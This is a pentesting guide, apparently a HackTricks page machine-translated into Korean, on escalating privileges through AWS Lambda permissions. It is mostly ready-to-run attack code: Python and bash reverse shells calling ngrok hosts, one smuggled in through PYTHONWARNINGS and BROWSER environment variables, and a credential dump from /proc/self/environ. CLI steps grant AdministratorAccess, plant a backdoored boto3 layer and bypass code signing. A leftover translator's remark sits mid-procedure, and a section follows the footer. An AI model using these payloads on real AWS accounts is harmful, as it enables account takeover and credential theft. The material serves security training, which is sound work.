# AWS - Lambda Privesc {{#include ../../../banners/hacktricks-training.md}} ## lambda lambda에 대한 자세한 정보는 다음을 참조: {{#ref}} ../aws-services/aws-lambda-enum.md {{#endref}} ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) **`iam:PassRole`, `lambda:CreateFunction`, 그리고 `lambda:InvokeFunction`** 권한을 가진 사용자는 권한 상승을 할 수 있습니다.\ 그들은 **새 Lambda function을 생성하고 기존 IAM 역할을 할당할 수 있으며**, 해당 역할에 연결된 권한이 함수에 부여됩니다. 그런 다음 사용자는 **이 Lambda function에 코드를 작성하고 업로드할 수 있습니다 (예: rev shell)**.\ 함수가 설정되면, 사용자는 **함수의 실행을 트리거**하고 AWS API를 통해 Lambda function을 호출하여 의도한 동작을 수행할 수 있습니다. 이 방법은 사용자가 해당 IAM 역할에 부여된 접근 수준으로 Lambda function을 통해 간접적으로 작업을 수행할 수 있게 합니다.\\ 공격자는 이를 악용하여 **rev shell을 얻고 토큰을 탈취할 수 있습니다**: ```python:rev.py import socket,subprocess,os,time def lambda_handler(event, context): s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(('4.tcp.ngrok.io',14305)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(['/bin/sh','-i']) time.sleep(900) return 0 ``` ```bash # Zip the rev shell zip "rev.zip" "rev.py" # Create the function aws lambda create-function --function-name my_function \ --runtime python3.9 --role \ --handler rev.lambda_handler --zip-file fileb://rev.zip # Invoke the function aws lambda invoke --function-name my_function output.txt ## If you have the lambda:InvokeFunctionUrl permission you need to expose the lambda inan URL and execute it via the URL # List roles aws iam list-attached-user-policies --user-name ``` 또한 lambda 함수 자체에서 **lambda 역할 권한을 악용**할 수도 있습니다.\ lambda 역할에 충분한 권한이 있다면 이를 사용해 자신에게 관리자 권한을 부여할 수 있습니다: ```python import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName='my_username', PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` 외부 연결 없이도 lambda의 role credentials를 leak할 수 있습니다. 이는 내부 작업에 사용되는 **Network isolated Lambdas**에 유용합니다. 알려지지 않은 security groups가 reverse shells를 필터링하고 있다면, 이 코드 조각은 lambda의 출력으로 credentials를 직접 leak할 수 있게 해줍니다. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() return { 'statusCode': 200, 'session': str(sessiontoken) } ``` ```bash aws lambda invoke --function-name output.txt cat output.txt ``` **잠재적 영향:** 지정된 임의의 lambda 서비스 역할로 직접 privesc. > [!CAUTION] > 비록 **`lambda:InvokeAsync`**가 흥미로워 보여도, **단독으로는** **`aws lambda invoke-async` 실행을 허용하지 않으며**, 또한 `lambda:InvokeFunction`이 필요합니다 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` 이전 시나리오와 마찬가지로, 만약 **`lambda:AddPermission`** 권한이 있다면 **스스로 `lambda:InvokeFunction` 권한을 부여할 수 있습니다** ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` **Potential Impact:** 지정된 임의의 Lambda 서비스 역할로의 직접 privesc. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` Users with **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** permissions (and potentially `dynamodb:PutItem` and `dynamodb:CreateTable`) can indirectly **escalate privileges** even without `lambda:InvokeFunction`.\ They can create a **Lambda function with malicious code and assign it an existing IAM role**. Instead of directly invoking the Lambda, the user sets up or utilizes an existing DynamoDB table, linking it to the Lambda through an event source mapping. This setup ensures the Lambda function is **자동으로 트리거되도록** 테이블에 새 항목이 입력될 때 보장되며, 사용자의 동작이나 다른 프로세스에 의해 간접적으로 Lambda function이 호출되어 전달된 IAM role의 권한으로 code가 실행됩니다. ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` DynamoDB가 AWS 환경에서 이미 활성화되어 있다면, 사용자는 Lambda 함수에 대한 **event source mapping을 설정하기만 하면 됩니다**. 하지만 DynamoDB가 사용 중이 아니라면, 사용자는 스트리밍이 활성화된 **새 테이블을 생성해야 합니다**: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ --key-schema AttributeName=Test,KeyType=HASH \ --provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES ``` 이제 **event source mapping을 생성**하여 **Lambda function을 DynamoDB table에 연결**할 수 있습니다: ```bash aws lambda create-event-source-mapping --function-name my_function \ --event-source-arn \ --enabled --starting-position LATEST ``` Lambda 함수가 DynamoDB stream에 연결되어 있으면, 공격자는 **DynamoDB stream을 활성화하여 Lambda를 간접적으로 트리거할 수 있습니다**. 이는 DynamoDB 테이블에 **항목을 삽입하는 것**으로 수행할 수 있습니다: ```bash aws dynamodb put-item --table-name my_table \ --item Test={S="Random string"} ``` **잠재적 영향:** 지정된 lambda 서비스 역할로의 직접적인 privesc. ### `lambda:AddPermission` 이 권한을 가진 공격자는 **자신(또는 다른 사람)에게 모든 권한을 부여할 수 있습니다** (이것은 리소스에 접근을 허용하는 리소스 기반 정책을 생성합니다): ```bash # Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode) aws lambda add-permission --function-name --statement-id asdasd --action '*' --principal arn: # Invoke the function aws lambda invoke --function-name /tmp/outout ``` **잠재적 영향:** 코드를 수정하고 실행할 수 있는 권한을 부여함으로써 사용되는 lambda 서비스 역할에 대해 직접적인 privesc를 얻을 수 있습니다. ### `lambda:AddLayerVersionPermission` 이 권한을 가진 공격자는 **자신(또는 다른 사람)에게 `lambda:GetLayerVersion` 권한을 부여할 수 있습니다**. 이로써 레이어에 접근하여 취약점이나 민감한 정보를 검색할 수 있습니다. ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion ``` **Potential Impact:** 민감한 정보에 대한 잠재적 접근. ### `lambda:UpdateFunctionCode` 해당 **`lambda:UpdateFunctionCode`** 권한을 보유한 사용자는 **IAM 역할에 연결된 기존 Lambda 함수의 코드를 수정할 수 있습니다.**\ 공격자는 **Lambda 코드를 수정하여 IAM 자격 증명을 exfiltrate할 수 있습니다.** 공격자가 함수를 직접 호출할 수 있는 권한이 없을 수도 있지만, Lambda 함수가 이미 존재하고 운영 중이라면 기존 워크플로우나 이벤트를 통해 트리거될 가능성이 높아 수정된 코드가 간접적으로 실행될 수 있습니다. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ --zip-file fileb:///my/lambda/code/zipped.zip # If you have invoke permissions: aws lambda invoke --function-name my_function output.txt # If not check if it's exposed in any URL or via an API gateway you could access ``` **Potential Impact:** 사용된 lambda 서비스 역할로의 직접적인 privesc. ### `lambda:UpdateFunctionConfiguration` #### RCE via 환경 변수 이 권한으로 Lambda가 임의의 코드를 실행하도록 만드는 환경 변수를 추가할 수 있습니다. 예를 들어 python에서는 환경 변수 `PYTHONWARNING`와 `BROWSER`를 악용해 python 프로세스가 임의의 명령을 실행하게 할 수 있습니다: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` 다른 스크립팅 언어에는 사용할 수 있는 다른 env variables가 있습니다. 자세한 내용은 스크립팅 언어의 하위 섹션을 다음에서 확인하세요: {{#ref}} https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html {{#endref}} #### RCE via Lambda Layers [**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 는 lamdba function에 **code**를 포함시킬 수 있게 해주지만 **storing it separately** 방식으로 저장하므로 함수 코드를 작게 유지할 수 있고 **several functions can share code**. lambda 내부에서는 다음과 같은 함수로 python code가 로드되는 경로를 확인할 수 있습니다: ```python import json import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` These are the places: 1. /var/task 2. /opt/python/lib/python3.7/site-packages 3. /opt/python 4. /var/runtime 5. /var/lang/lib/python37.zip 6. /var/lang/lib/python3.7 7. /var/lang/lib/python3.7/lib-dynload 8. /var/lang/lib/python3.7/site-packages 9. /opt/python/lib/python3.7/site-packages 10. /opt/python For example, the library boto3 is loaded from `/var/runtime/boto3` (4번째 위치). #### Exploitation `lambda:UpdateFunctionConfiguration` 권한을 악용하면 lambda 함수에 **새 레이어를 추가**할 수 있습니다. 임의의 코드를 실행하려면 이 레이어에는 lambda가 import할 일부 **라이브러리**가 포함되어 있어야 합니다. lambda의 코드를 읽을 수 있다면 이를 쉽게 확인할 수 있으며, 해당 lambda가 **이미 레이어를 사용 중일 수 있으며** 그 레이어를 **다운로드**하여 그 안에 **코드를 추가**할 수도 있다는 점에 유의하세요. For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library: ```bash pip3 install -t ./lambda_layer boto3 ``` `./lambda_layer/boto3/__init__.py`를 열어서 **add the backdoor in the global code**할 수 있다 (예: credentials를 exfiltrate하는 함수나 reverse shell을 얻는 함수 등). 그 다음, 그 `./lambda_layer` 디렉터리를 zip으로 묶어 **upload the new lambda layer**를 자신의 계정(또는 피해자 계정—권한이 없을 수 있음)에 업로드한다.\ 참고로 /opt/python/boto3를 오버라이드하려면 python 폴더를 생성하고 그 안에 라이브러리를 넣어야 한다. 또한, layer는 lambda에서 사용하는 **compatible with the python version**이어야 하고, 자신의 계정에 업로드하는 경우 동일한 **same region:**에 있어야 한다. ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` 이제 업로드된 lambda layer를 **모든 계정에서 접근 가능하도록** 만드세요: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` 그리고 lambda layer를 victim lambda function에 연결합니다: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` 다음 단계는 우리가 직접 **invoke the function** 하거나, 정상적인 방법으로 i**t gets invoked** 될 때까지 기다리는 것입니다 — 후자가 더 안전한 방법입니다. A **more stealth way to exploit this vulnerability** can be found in: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} **잠재적 영향:** Lambda 서비스 역할에 대한 Direct privesc. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` 해당 권한들로 function을 생성하고 URL을 호출해 실행할 수 있을지도 모릅니다... 하지만 테스트할 방법을 찾지 못했습니다. 찾으시면 알려주세요! ### Lambda MitM 일부 lambdas는 파라미터에서 사용자로부터 민감한 정보를 **receiving sensitive info from the users in parameters.** 만약 그 중 하나에서 RCE를 얻으면, 다른 사용자가 해당 함수에 보내는 정보를 exfiltrate할 수 있습니다. 자세한 내용은 다음을 확인하세요: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} ## References - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) {{#include ../../../banners/hacktricks-training.md}} ### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing Lambda 함수가 code signing을 강제하는 경우, Code Signing Config(CSC)를 제거하거나 Warn으로 다운그레이드할 수 있는 공격자는 unsigned 코드를 해당 함수에 배포할 수 있습니다. 이는 함수의 IAM 역할이나 트리거를 수정하지 않고도 무결성 보호를 우회합니다. 권한 (다음 중 하나): - Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` - Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode` 참고: - Path B의 경우 CSC 정책이 `WARN`으로 설정되어 있으면( unsigned artifacts allowed ) AWS Signer 프로필이 필요하지 않습니다. 단계 (REGION=us-east-1, TARGET_FN=): Prepare a small payload: ```bash cat > handler.py <<'PY' import os, json def lambda_handler(event, context): return {"pwn": True, "env": list(os.environ)[:6]} PY zip backdoor.zip handler.py ``` 경로 A) CSC 제거 후 code 업데이트: ```bash aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0 if [ "$HAS_CSC" -eq 1 ]; then aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION fi aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` 경로 B) delete가 허용되지 않는 경우 Warn으로 다운그레이드하고 코드를 업데이트: ```bash CSC_ARN=$(aws lambda create-code-signing-config \ --description ht-warn-csc \ --code-signing-policies UntrustedArtifactOnDeployment=WARN \ --query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION) aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION # If the handler name changed, also run: aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION ``` 확인했습니다. 지침에 따라 영어 텍스트를 한국어로 번역하겠습니다. 코드, 기술명, 일반 해킹 용어, 클라우드/SaaS 플랫폼 이름(예: aws, gcp 등), 'leak', pentesting, 링크 및 경로, 마크다운/HTML 태그는 번역하지 않으며, 태그나 링크 형식은 그대로 유지하겠습니다. 추가 내용은 포함하지 않습니다. ```bash aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null cat /tmp/out.json ``` 잠재적 영향: 서명된 배포만 적용되도록 설계된 함수에 임의의 서명되지 않은 코드를 업로드하고 실행할 수 있어, 해당 함수 역할의 권한으로 코드가 실행될 수 있습니다. 정리: ```bash aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true ```